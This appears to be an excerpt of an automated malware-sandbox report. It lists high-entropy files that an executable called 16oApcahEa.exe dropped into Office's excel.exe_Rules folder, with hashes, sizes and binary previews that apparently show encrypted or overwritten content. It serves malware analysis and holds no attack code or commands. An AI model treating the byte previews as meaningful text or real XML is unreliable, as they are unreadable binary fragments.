SSDEEP:	24:9Y0SF1LrluLL6nr3RhlhF89fdGtYTDk+BZk1z59pbD:93SjrluCjfofbkkgJD
MD5:	10F6128FF8F72588247204BBFF8DAD5A
SHA1:	C02902212FAC93F9CC827B1C1BF585F79CE8FD56
SHA-256:	C54A8C77C3D1DF7DFAD512EA7C8F8E4619165B34C0097923A9BC7BF2D748AAEF
SHA-512:	5C407CF1BF32FFF5AB0C16995CD8D22E25A1697023ABDEC3E5FED5A882F0C848B8B84A9A50DC0857503AACE9220ACCF2BAD37A23967D0DCE1751BBCE52A5A8C7
Malicious:	false
Preview:	<?xmlc.4.a.wQc..,..mZ....Q.......C..9 >....\|A.......j..]..L.F.....].Bh4.d...3....j.enC.t..@.G.../L}i...._...}.b%..@....w....s..2.}G...6c._~...R...A.E....Q..OD.......,GZ..=2.N.1.!=Y...L.>..$..d.@..J...k...4.5Z.$7lTu.7.o...&..<.....Z...j ..R.&..w.z.kE ...kU...;.k...8U..1k.m....vQ..e]7...6.;..[........I.~W.f.........0T1.....yrAb$3#z...>.y6..@\|..z !. t.q...,.......6.n..T.I.DU`...W.....I....N..i.0iqgx.\...>.W...._...j.5$..\T....UX8...o.8.7Xk..L.2.'....s......e4.)k}U..kk..2.y~7.fj....v.G...T..nj..P.oj..)...M...Y.u...nM.x.'.....k.*...%.....~.=..e....A.....u!.}.....<........~%+..R..N..Y..&:3\|.,/..Qp.R.W9...O#...E.wd...;.$..:i....>.3%.Q.ZC.....m.g.e.H&U......a...A....].p1a...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.812030122257582
Encrypted:	false
SSDEEP:	24:A2dcPat0K6UVPtG0PtaEIXzmwKV5CC43/OdIYUmpOZUi1uMJv9pbD:7tV6UVlG01VIXzmH5CC43eACi11JD
MD5:	F261814F5493F957ADA514348CA92ABA
SHA1:	4654B1A51D8D67889153C9A9D70B155732DA5207
SHA-256:	96F7898FE8ECCC221E17AEB98C9CC3EDA54A57AE5B37BF9A26271D62F34FA6E1
SHA-512:	98B81EE3FDD6A77798A68CCF43407322258250424D18AC215C40A6533F8B456D2F996C1852DEC1F587A96BF4D0FD101DE943196A0C33F18896B37A3D41381C5C
Malicious:	false
Preview:	<?xml..2\...d.\|..)<Y.........5...J..t.....L.e.W.....,X.........X].0..4..z..7...).......o... .u.,...=..h....+.F$..t...Xw{....z.Y.....Wg..I...7G1..>..U.2b.Z.:..F........f........c..c#...T...j.Y...d.VO.HXA..D..tG.~.y.JJ..H..../.u...k.>'.....n.i......j.8..a..j/...........jB..1.n..-...@..g../..r.o(@jHW\E...5C.y..-q.@...I....?...z.2...x...G........j9{...N....6..,......O....m.\........:>m.n.!..z....h?.m.........X.0.=.HpSko.K.'.Y.cH:..~.^...Hsz.a/..r.<;RYO>x.../{..K..X%.K...V....N]..o..b..~.Z../..Y.....yK.;0.U.YA=.Y.Z.^.N..p{mr...-...D.!.{E..;< .cc.RX=8.@..sS...l.I..SN...K....].\|....)..pO@.v.1/..&h.[w..i.......@..Q..........k...!.+^.^......<......h.4Tk......^..N]w".}......Q.wC..I..-.\..^...zbm1e......rn..3q.......#..{....b.O#p..j.zk..M....y....).o.avLa...b.%"..m."_./.r.FU5.x.:<.wJy.e...x).q...i0}......(..!~wm.u.N.h...g..uvX.I...T.*m.x.bd3...V.Dixn.+k.q..>.x.{..r..5...$...,.}...4.U)..4a.>..n...=[n....m1.7.4]..ypPH..w....\|..YQV...U....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.8363363548710065
Encrypted:	false
SSDEEP:	24:pHYTDRnoScP/3JfPeuyy6QI+o917xFNRfHwRzqchJgIfyP9pbD:pEtnoScPPJfPeuy4jm1FFNRfH4zqccIA
MD5:	F70926E57055BA332E9CFADDF1E4A369
SHA1:	D958C07145BD73D83A76D04751E835EF01EFE373
SHA-256:	A5D98129DF226F264B9355FBC4DF57D1BACB0B19C4323E89C134E1260BA9F953
SHA-512:	5E54C35CE3EEB432C965D2E9C84B17194BE7027BA18829D339717B059CA9D78BE91433D3623B9330B5865BA2D20029AF20119E3B646AB8C4A601F5E62450B01F
Malicious:	false
Preview:	<?xml..Y>:Y..-5A.Z..2.....LEOH.....#zz....X.gf._...e.Z....].....fE@.:...XU...E..>....L.}X.....y\F...Yp..N.<..vxi...\.&. ..."T.3...{.....Z.DqvR...p..F..1%G.V.G..u....I.9.u'".F....;t..i... .Q..0M......\.j..!^...v.u.-.P.:..q..'..w..6...6;7q.g {....qZ.1....-........X#.0#...3/2\|....\}........C...r&....l............v...}.D7..6.UA.vB..2\|.a....B.-Mq.......[....$V.M4..oW.{..(..+ec.>..574_a}.1F.....m#..4............%G..+6..Bg......p....W.\|.....&......I.s..f.\|........z.._~..]...;V.O....B..6..y.....M.L....z?.x....!.^..Q..b...W?....}........+N.? ..l...........J..v!..r...o+...=.........e.^..K\|...B...$.K."...P.....].0Z!..A+....8$.+..x...&...D..s....I..pm.......]...........F......K76#..um..Rz.Iliy.o.&!....#Q...<a..9. ..nw..Y.0...E...>%\|.k..d.......g..m!.J..q...J.+c..A.2X. WTG....n7..t...5..H..@...O...~.....f....g...u;.T...<..t...X.!..............s.Tj..._.:3aX..S.`...].Q.....Ua...X.....\x.....T.[...`.....P-...V..U.7..1i.y...h.xcdIdDNFh62dy3iJs

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.720395256534195
Encrypted:	false
SSDEEP:	24:UlPk+Aj7bnulDV+uGqFPnCjIU4T5Mi9pbD:8BAj7buP+gFMOT5FJD
MD5:	77B1839F899992D25CA703904831362F
SHA1:	381696A67DEF59502E2CB16559472029A0F15768
SHA-256:	2CC7826E63AE747763EFB380AD22F7548DF638C460AC803787FC1E147758A576
SHA-512:	1C9B9662D57CAE9320366ED9BD4280934841D820802111C70A93D5AB9291CEBD81DCA1F2FDB5B2592832C3DD71172604EBC472C361C47F6366CA2CB413A0562A
Malicious:	false
Preview:	<?xml..u.b.e.=z.&.1W..nt..h..D..~.7&...+.2..4. a..d.~k......n....T....,D.FS.\|.PrQnnm...X.....F.v......G....R...6.0g..4+f.h@@....T......v.T..,....O..,b]S...Mz.{....<.`....VY2.b.....?.......+......2..!m......\.)`..cW.+1. .GW/...1..n.$..QI.e....L. ...=9.M]).....\|..@.4..kA.).eer8!..&.&.T..$.-e...HS....+.g..7......z....-....Zb..j.6.v2...v.O.L.n."Sf.6.\U{.P.o.C}..5.}.....n.w..U3.....2....:W_...$2.!?...~.....e89.7.l...,._...@.#...xS..2.......~.z.8_v...L..t..90.........a.!.Z..f.W..........\7V..R.Ey.qL(.59.O.b.w>....Sa.V.]...{y....b=k.jaK..r..\......=`.....e'S/n6Q..n'.L)..T..}q.U..........jP...0)..x.N[/Z.U...F.x.Z.8.;.*G.Qd......Y._..Fz...aq.....1kee.....1z .p.5.L-...K..?.ggc#xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.8562468534690195
Encrypted:	false
SSDEEP:	24:UckolgJ64G15Beb6GJskTEI1xksP4zhiWPN4nFRaJRFCBtiZhyfQ2RXuTUOJtk65:Uckos64b6GJP1P4z7qURFCqqflX0J265
MD5:	BC0BF982F2FCA1403175534854D6BFFD
SHA1:	2B3EC5D4004BCED1E6E4700B5EE86ACCB0AEC1D2
SHA-256:	D0B871730F1F32CB27C0044CCC0EF3626F139B90431456B0186BF4F81D4D853A
SHA-512:	A13A93AD1AED7623A286486616321DBA25DDF06D832C7574C18EAE10036D1D367C6550A230C50CEE7391E7D879A2364720D3641A0247241F7F14A495C3998091
Malicious:	false
Preview:	<?xmlR.a._.'..T.%.Y0....VXo.T&..<...a'..P...0..xK...z...G$u.y..p..$.l.%....Nm...HJxe.48(<.SM..s..@...3...q...1.V:.....z....:@k..'.'-.%H.A\pT..!.....%,.zB.....j.2E=...\.{c..zLu.t..@r......H......w...GCX....U.D'...4..B...: n..n.1...&.....q..{.9B.........>Jq..8.I..._....\|.T_N..w.x.IDi.hqY.....g.ukI.(`L..d...a.....ui.l{@B.k.._.v'.K.....K.......cE.X..kT`.YJ.\|..U-.ba.\m.s...D..~.\|..g.....NI...q.........EO(..........f..._...v.NOO.Q .K.&....._...V0..(..Yd<....)..V.Hf.X.2...O...^...2...R........k#...9&...a7.~o..!ps..@.V.. :.G[....7.4.~..Q=.C\...O.Z..O...@OXkA'.Nf+..L.f..........1tXT..._on...........s^m1a..~zB...Z...1.-...Fm...J3.j..X3%....:.F.....`..-.=Uk7,<.....j{;4!Z..{..7....[.qik{A\|SK7S.E.K9&..... ..GC.K.....I.z..;h...Hw...F......`...3..$.....tG~h.....Sw.....4,%.... w..].............:...`d....'.(!.D...'..#@kb...-[.z.T?_v3.. l.+..$Q!b......s....y.-li..6Z)L......i...T....%.TD[Z.x...Q...].~.yV...l=?Ms.=U..T..;......!9..!2.....<-.`.1.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.856717535049747
Encrypted:	false
SSDEEP:	24:eeVh7VmLw3kRNUsKkSQjWvwqMLK9DdL5TQ16qxa0RS2mhnGXTzDrpFvHwzi+TdXX:eeVV4j3gdScDcsqU0cvGXfDrpF/oHD7h
MD5:	FD9FCF204EB1F4F013E1A17F17430340
SHA1:	60C7A613DC3BD91502F59DEB193CAE6475EBDE5F
SHA-256:	1DCF6200F7D5C1559627772E4EBEE26EC225F379B397227965032B72CB63C0AE
SHA-512:	427A318537DDE3D4C4BC451A064FEB8373F6D39132814EC64DCBEA48E016EBB78272398AFD80DA2F98A3860BAA46BF0B01F0FA7E2DD52B3CA093868F75730EBC
Malicious:	false
Preview:	<?xml..`......tc.zC...B.m....Y.....[......k../..%.E...e;....+...%.......\e..>.,.6..m.....$2.:P..P..@J....AL....:Fdi....+I..3...2.BR..!mQ.w......... ..@7..)?n..\+"...R.J.=.T.......kn>O6W..F.Un.O.VW...h..:..q...tq:.c.l.......D..u..{.q...j...jLh..J....g.".B.a.....0.>w%.X.t..py..r./>\|......V.j...........f8.M.:..P%p<.y..$.<.....3H..uv%......{.[N..T.....yv.....:<.\|. ....i......7...... .....V..=.;Dm...$...<..:...d.}...1.M......>U.Z...8^h..;U!..L.G.`...n.U.n-..K.........d.+..'g..l1c.zd.....f."...X`......GQI...2.G..%.nn~...=..Yw)w".[Ji...c...N+~..L9.......N0....i.Unh.....}YO..f...au.sO..R...DYr.Y^.......M.xZ.+.t..y.$z]`.[..1....M.g....6....YX..8.m/!..F{.2!.qn7x.]."..Eh..'.?.6l..}..b...<.SI...1.......xg...Y6G.[,o.ZA#.1O.....+.F....}.`..g........i..+...@C..-Z.7....g[..3v6..+tM3.....'..Ai......l.,.....X..h......J.[..\@3AG..td6h.-g.L/.4.]A.{.r..mW............1...n.QE..S...y........O...2.bl=..4..Y..t!..(.U1t...&.3.(..Q..FE....Z..u..v.A....H%.%d.)..v*.l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.834249080032429
Encrypted:	false
SSDEEP:	24:GfcpkKmjAJXjwIDDZv0WOQLbQWOdqovucQzMS9p3KVM9pbD:GpKmMJXjwEZNsWOd9ucQJz3K0JD
MD5:	928450E44F74FB9114668165968EE32B
SHA1:	66EBBB9D76EEFCDD57ACFBCFC668B7D35452E8D8
SHA-256:	652DEEBF95CC047211F2859AB3311F59B18AC2966D1634FC895F6D9EA4ABDD93
SHA-512:	B183A83D50625487F93AEC9FDC98213BB964E56529101B1B2949A2CE8F0238FDAC35228071FA1AA9F425C2B6B3FF37C8851934C1DA3D943705E39A64B313FB70
Malicious:	false
Preview:	<?xml..q.I.lN..\|.".7....[..}.......0...j..c.N..z8...l.......P..ud.=...i...K..kc.t........6z.T..@..c...W.....9...P.~....p.i..v...oM.Xz.#U.}.........XoY...r?.eLW..S..&.T./.`.....$...9./.2.c4.$._.....o.O%......%iB.?O....d...y.z..j.o..Z..W....h\Q..sW\.o>/{..X..^..$9S..P......p.G.uE....w4..4.^P........../.7D..)!6VQ..0..;.t...C.G:.b.`..pA...A..G'..N.D..,...m.%(....h...H..SQ...2E......jX{.S....,.W..ZS.ct.u..$.,>..x)...^..T..0$n.....Z;..L..f.P~C..Cq....IU.u...S[.D..#..K9Sh..U..9..9....2....h.7[wj[10.j..;b$.....,...Y.y...^.p....E....H.....{...p.].6..S......2.+KE......g..6.....=?Uz.......dT........5[.........^.ZX.gs..U..e.....u..).yURo...V.8.3..?6.....w.n"...s....f.0...*./n.&............uN.W.m......+....;%.i^.~......E..0H..k...7%..%..:.x...%b.......9.....IV0....s.r1..^j.3&A....3. ..o.#.y..7U(.q(.Xj..8...r.2.l.W..6......U0.>.oIOw. D..4..[....t..o...2Y.`iE.OM..J?....U$.xR.iC.....@.....J^.Z...\...=<.....[..)..D.....@...XN..7^....t..m .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.860203467972325
Encrypted:	false
SSDEEP:	24:eJlKA4k7TRWtSgE+qeXHgCogLrwThAOld7aLxYOKKLmb7RI9h99pbD:eJQfk7tuSgEreLNrwTDaLPKemb7R0h3h
MD5:	184D49EFC192686B887E33E1210D4F1B
SHA1:	3926540A8282E20F7B185FB17C940D59EFFF0D1B
SHA-256:	D45BD4B1A2D1097F7D2DDA1A646A19E9D20BDDA3F1767E0137B1008045CF8BBF
SHA-512:	AFC135023558573DAEDC073FD98944E0542062FC35AE39A1CD3DB72F64470E3BA3CC49835ADC898C6C998ACE622BFE6FA2DA482BC418E6437BD832B17340FE9A
Malicious:	false
Preview:	<?xml.+...S~.7....7...F..U.D......$.w4.....vl.7..\dM..!.....!g.....#W$....../.q.s$...}........A.b.....e.J[...J.=7+...P.U6..R=nE...N.P....3y..O.._sb.%a.no..j5...h.M.d.n`.&.7...^Z..e....Z..,..B Xw#..M).C.4..Ix68......t..D..%.....)t...-....d...fa6.n...k.2.O.[...yA...q@5..`...07e^....5.S...r.X..P.....I..........h....P6..y..H..NU...Y.0..S!....:..kx....X.l..D...&"......0..,.QAFW.....(.[.._b.]?{{.4......]....x. ....3.K.;.....iV..t...$....LAX.......Ld.F..u..O.8...S...{....+)..$\|..S^.......2.......:B...#`.hR..D.p...N..4D..j.,..K..{S..N..r....2.G.0.._......y%.3....dg\.........<r^.g./...{...X.o..1....r.q[....)$.........w.....M.V.X......?.....U....I`.....au.K=;.....OVT.t.4....6."_..5.D#.oT.....0...sK.TQn...{d..._mz{a.m..}.7...1..9..:.............wd..m...+..,#....c..o.V..&.9..V......+Dj........7...A.>.Z.......Q...C..V.....e......rC..+:.......+c..8.A.l.....x!...O.......f.u.h........t{L...........Ak....L3..6......o2]2......y.n..r9.3.*~...:..$.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.8926259386609665
Encrypted:	false
SSDEEP:	48:ramwBtk6WDys6Ei4piAm9kBBXaV9tkLS11cNXPsJJD:mmxhGwi4QPeBBAuE1sXP4
MD5:	24D13CC2CB3CA566E7436B51F5543063
SHA1:	02062B2AFEB676049E0F49BB50C5CBA305F50DB6
SHA-256:	10213480878C848EEB7592CD699B351B9406CE491D97F515ED52C6D212BA37F0
SHA-512:	6B5D98998A926CF8A209FCE459F18D1FCA818C96D001D35D00228E94FF098A47DE8DE2F0AE50A023AFC98DC7C2CAA94486C59301451E71EEF2C10E0D74B1EB71
Malicious:	false
Preview:	<?xmlp.I.7....'.?H.lxQ../...^......oJ..'.6.....E.....i.Z....J!..&R..y.wa..y.O.Q.j..k.q.(#..tNH.x...y..t.l...Q..u..A.h...z5d.N.S.v.Ry(i.R+.!....Y....)h.......qt...Z../...%.Q.W.e.&w.M.=.:.'..f6eBC.\|.*.b....i.;..d. 4m>..f^.(....Zw.K...7.LUN..F\|#S.].x.rZ.r.G2.........p..@....0.57.Bpe.........3z.:..#.F..G`!.T...t../...y.!\|..$......d.........)7W...fz..%.n.D2.z;..EF./k).".M."....).<49.}L...=.e..`s......n..Q"..-0.)......I......M.{.KgV..G{.?..p.]..6.Y6.%.......L...1.dt...K..F..Z../.y.$...&.C.....&..........R%...&..L.<..,h..9F...{.a.d..../.a.F....1. ,R.h)...8..1....`....4.%2...p...ZL..'...$....H8u..C][..4Y...b"...9^..'.).$.k.,C.SF.".y./.. ...U.yEY..s...oY?..\.b...)>..MSX@.iH.;..V...3rY....M2.../.....hr.(..2..^-!PXlp.$.,g.}.{3...\.Ky~I..q...=Iyw...IYfR....r....4...,..!....n..h....;.M.?.k...L~.....xLdo.:...H.vu.x.`K.>q>;......J...0ZH..5o.4...Y..a..X{..D.......Z.&...!..g).Su(<..-........\2...&.u'Q....b.t.C.. .DN.,..B7s.Q.A.&W..\|.........6..q<].}7.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.772977717317327
Encrypted:	false
SSDEEP:	24:gJ2s4U9ud6xILofPS93icKA4pIQb8xtVnF5ii9pbD:XsPILoq3icKt8xtVRJD
MD5:	45E20FCEB54481C6B53048148FDE32AB
SHA1:	355CD4881887B75A4A1616881359C6B5D07E0CCD
SHA-256:	D9EDB13A77FF2D12F2EB43E4918B5E8A097DED2DDB198ED5BFCC48B60C6917DB
SHA-512:	7235FF402C9CB669290B7212CE2379027E1F7473B12E54A6BDA097C6E039197B9FF3A3536406DE703423046F0A1C3805140052F09041E7280657B273BF702D26
Malicious:	false
Preview:	<?xml.0.1....&..i..L..a...i.x..X.r$..s..s......vL.U....s."C.g...........X..{....P...u..y..v\<0s...&h_.V.p..X..Y..U.\|..C1.e%h...W..:....Gq.M........I.B.\...X.D...3rO.....!..B(k}U..Q......B.D{. ..'..PnH}.\....h..~...Yd...HzUttb..~&b.6$>..!..}.%.......J.LngY6i.b...O...=6.2...........4..EKq.n@Xv..w.p.[65. rF^...^?b..z.^_...~.....P..a.......8.........dd5..}......0.....>.aB..G..a.P.i;...R6.a&1/....z....+.......g........_.......(......_.N.w.I.....9...}q.C.....n.k..!.P....1{.n....t0e...-.-8~......h8....'/.&Igp.....1..,.V..S..../..q.....@...~.S...y.A.asA.\%b.......TG4.IJT....l.d.:....z..r.Y.:6._..\|.r.....(..A.f.b.....~../\.e.$.r.......?.....usU.].~.!.c.K...`6..Y.x..1.\.>...)!.7...\|}../T^.1...>..!w......x.H.Qc..j......d.V.#3.......N1..3x.....#E.}.t..~b.$9.D`.m..u..E..(:`...7o.#^...aF.Z..K..@#......>...gJ.k.#..6LS.?YI..i.w....7Q....:e.d...0..-6..y .~......B.......=.HSxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.891345972812759
Encrypted:	false
SSDEEP:	48:iqioUsfSXexDEukbyec2jugddzm8T97/Uw7c/LXsr3JD:iQLKeNkbyN2ygDm8T9LUwc/LXsrx
MD5:	15898DF736A05FF409112889E57FF51C
SHA1:	8EE4FA383714C57C6D9078AC63FA42156A30E634
SHA-256:	C665423C9262048073F300899C6EABE4417BAB7C649ADAA45F503B6AF3DE7E0A
SHA-512:	489D5051886DF9DC04BA0AA6699718A499229E03B4AF21AD7697F67FC9C21EFB7AC5C1067386D7AA56BAF354683E7AD164DA5DFA8883513E4B5E4451A509550F
Malicious:	false
Preview:	<?xml..<.~.7.../..u..M...Ve.W...'.3.cy..N.._...O...[...J..Y....n..p.4..=.b1W..P.d..v.....8p..u.)......l!.z..$..lc.p2.l...u..........d....b.(..d.....b.H.Q....(....\|.\|....g0.Z.@.9...]..9...D.Y.!=.]..<f.}NQ..-......]K..][0lr.^.....%..L.......).D......EODU.Wo..,.&..l>Ti......{ib7.3-Q..hm.g^.MU~.:O).1..k..a.0q.9...I-..c......YV.....uh.Go.j&!....h.yo.&vQ..R.U.H.-...f...[..=....../..)x.?/....6.w.x...H.._2.....&.Q..49. ...yd.~.l.T;.r..{8A/...\|.j.....MR.'.s...2d..T...x[....a.s....\..gZ.Y.n...@...-.4-.u.g>..{.H8....\8......dXx...3..I....a4d..Ys.........9.>.CK..Ap7..t.\...7T.5.....Z..D...c..r..M.).?....._..gg.....b/r?s......HT.~...Q..V...~.,3..i.v.A.U .uU`J.`........m...7=.9.$?/..A.........i.......g.QK.&.6}\|w....5.}......A.oJ.0nl...qu.....T...3w.2...%........9v......@b..lx....s..C.h..2...,-..x......tT9.../.o,.W.wD.I......S'..(..s..L....]...u...@..%.l.D..Rg.ad..p.s..S...&i,Y...m.V.......y.,.~7z.7...u2>.8h.M3..l..........xf.y...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.957528066695851
Encrypted:	false
SSDEEP:	96:y0RM/5pZUOuwyEbFshvkw5wxOxuUlyy7iG:y0ZnEbFsJ5wQuYOG
MD5:	B117FEF3315F5F0DC299287CE1A84E78
SHA1:	67BC92D4849DFE22235E35D2A3723D34D7C4E30A
SHA-256:	C080234D0B5A4591FA2A55238C9DD80B54901083B39387CB9189BCDC345BFAE7
SHA-512:	7D40D4236CE532F36E4949D19703356C893610E48271161CFE0D9AB85622E0106E32025CBC018CE7808EBA96E39FFB6EDADB47E6F1C226E37C67A08905FC4FD6
Malicious:	false
Preview:	<?xml!Es..B....3.Q.......F.6...WI..F.....c..'....([/.l.]CQO.......&L.."..3.pH.a.8.v_..N..m..N....@.&q...H.C....N.VQ..y`.:..(.H..B..i<.X..OF.rR.`c{..{....?[n./.3....:.9..D.1.V.2.c..C=.e.(.+....;/..c..m..z..EK4v.1.....MLg....&1...l>#{B.,.ztv....3....0.8CG;.Jdn.U.V$..ac..._B.?...d.. ].g.kk...Cn....P:.(..B..........{...=\|P...p..yk.3...d........E........w..%....4C.$.0O.A6%^......n(.e.-..6]l.....l;....:D.=e..M8...Hp.......}.....Hn....d.pd.....Q.."....a....8~...H.U...a.<..xW..!..L:p...p...p>&............e...ly..R."s.".;....f..v.........._%....a.>.3.-....Qr.u...H..n.jn".{....;X.I.l....K.)....Ht.p....V...Z.. ..s/$..vH.!...k../......8Y.>..`..^YC.t.a~]Jg..H......W-..e......n1...]Feg.....}*...L?/..u..H.-l.w....."p....x.........+...O.id...2.....g....]...../.~..r...k....s..P.'..d.....\|..\|.9..+9..`f....^.@.<..J...~..rk.x.om.N^.....Hj...]Y.x....{.A@....{&.t.r\|h.,..@.....R.(..-#w:.......Ke..I.JV+.............E=zF......I.Q.w.......".....L.NY..0.......`...a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.862027525988091
Encrypted:	false
SSDEEP:	24:bXCrdpYsFHiHwCxKdOjRNDayTl255C6czKXc27qt3CiSYOmgOwEi9Oevve3/8aq1:MYl0Y1NDTTr6s2caW3bKnOwE0Pa6aoJD
MD5:	B649434BF54B6B57DEA5204F6E9AC3A6
SHA1:	78F1E483689E4854BC6296D7CD3BB3BE67B28DA2
SHA-256:	20C385F336BDAE4218CB6BE832C184DC9B7A7906E96549353F398C8FF914B92F
SHA-512:	E309974270AC784F1EE9D1C4CD1FAC4A4B864E1230560F70853CCD3CBE2460662A3C346CF171BD80376015830F123791F7DF22F38306780327966C41B9DD80E3
Malicious:	false
Preview:	<?xml.e.%...U.....~.....c.'H.p....'J...T.}..."....0].Z$.Sq?m....Q.?MVS.l....9.sO..H+..v.....J.y.....v.....<.!4......#...O.z.A...o...%E..g.F.Q.LyC.R<...3`=5G.]..7. .W.e..E..p.$\..xw.Su.....l....C.\|....../..9<.2~...ub.UIS.....'.(Fn...H......1~#..A.......h#6...=#..8.J^.L.#!\.......EZ....O...._%'....3Kl9...xI..V}...\..M.7...K.w.R.}.\|. .b.>...0`3 uL.Zh......9.......#.=.)T..)]...'...Rf..awQr..Q..S1..d..XB...:.$..ng.m(...!9....V.......E.s..2.N..)..Y.+)..r.}.-.z....&2&.....g....+.....Ew(.......0..../vCP+..$.\|....].7.h+. v..r.........\m......<u8hk.9.zZ...1..........w.....q.\|......$.p..._I.!...)../.b........qx.x .V~..F....\|.....`....AXk..<o.D.r."....s..j.r0._X[.....H.s.....e.d.....%......\|...^B.n.\.3Y..ok./..=.....%t..U.>/.+....~.C.s..........n......M.R."RrM...p.C..rV..-..y....)....._..h.t...........0i.c.;ZJD.....O.9R.C..k..wD....p.t$l.....8.._..XN,.......]..1....(..%>^...'C7V5M..q.-$....\..I...QHe.k........T.....5Vd..K.cl.}..%`.4......a.s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.900565444695553
Encrypted:	false
SSDEEP:	48:9tImJPmuhOwfHbCmf2ubRtwwZxw7eDtMJD:xOuhOwfHbCmf2u1e1E2
MD5:	20980577F9B6A2C8D1FAC651AA5121C4
SHA1:	F526DC6EBD4FF89932D1EF98446BDD81ADFCBADA
SHA-256:	5213FBF0EECBC45E4A84D2725BDE2CB7A488A0C77E6BB7ECBE7FFECFF121A12E
SHA-512:	C1B58BF8D858F8C38046725CBED7F57617485F6885A574720D20DA81004583C90B45665A7592AB1E06FE5753904D3BB4D7C1CF463446423B0E5730508F04BD06
Malicious:	false
Preview:	<?xml.....<Q&+..?4...B...V.L-......o...J.%bk.h.m.]6....1.+...E......g......Q.&&).9......R.AMz.".jh..e6._@.Q.wu.L..!uQ!...Z..4j....@.a'O...]..F...61.......`...qh.S..Z0...jw...Y.h.r.....I.P.oX.a..BLLa.R...(w.....]....C......i..#^8I....X...2.4..g.. s...B:kj....h...Z..D....m....Uv:q_4./.igT.g.._o:3+...1!...Q..g 1.....C.=....\c.k69.y.\|..V....d.......}-G.......!.>....H..9.s....PDt.:.....0.).~/JN....?......&....Z:0....b.....k....~....f...Qu9....o.d.Q.f..E.i.......^b'4.[\....l:...t....,...d..<.U.;V.w..f6.....I5.)....d.j+Y.(..D..$....v..=.<_....6.........r.5U...n..;.B.b=.#p#.>..=.;~...._...F.6..:_.^4..D...3N..A....&<E.H..gsg.u......dcf.z+...".1...^.p.0....$.7..Cq6...8l..O...G<S.'T\|0.....[.n.x....(.zf.s..Y`8....h..x.c@Uj..a.1....`.D.e..;b..\|.w..vv..._........2.H..M.z..Mp.....N.p0..V....Qb.Ni.M.CFn.u.......p3...C..:.H.+.....h.0..v=.t.....-Q....n._.uR.R..'....$8....fVL..$.$\|..r.8..t[n...gVSBdI...vQ..L.L..?.{......D.YF%.h[.....<Q/.......:a-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.936832687248541
Encrypted:	false
SSDEEP:	96:P7ASIfzuph0Jnp/g41zvdxdgW8AYVQNb8O:W20Jnp4azyW8AiWR
MD5:	73F3213D7DB259F4EBDA7D2663252B4E
SHA1:	0D448354508D705F2B32245FE116B26E96E140D2
SHA-256:	5CEFD2E5C0B88A226A27777D4358F8590EB3F17CD2D311885A5513F45C96DB4B
SHA-512:	9FE7E580B26E9F7AD8C72D65EDAC9D05DAA3C767CED85C9AE437FAA549D412CAAEF03BA9A45B529A83619AC489A106E9C0A92939AC231F6325F006B7A1288D05
Malicious:	false
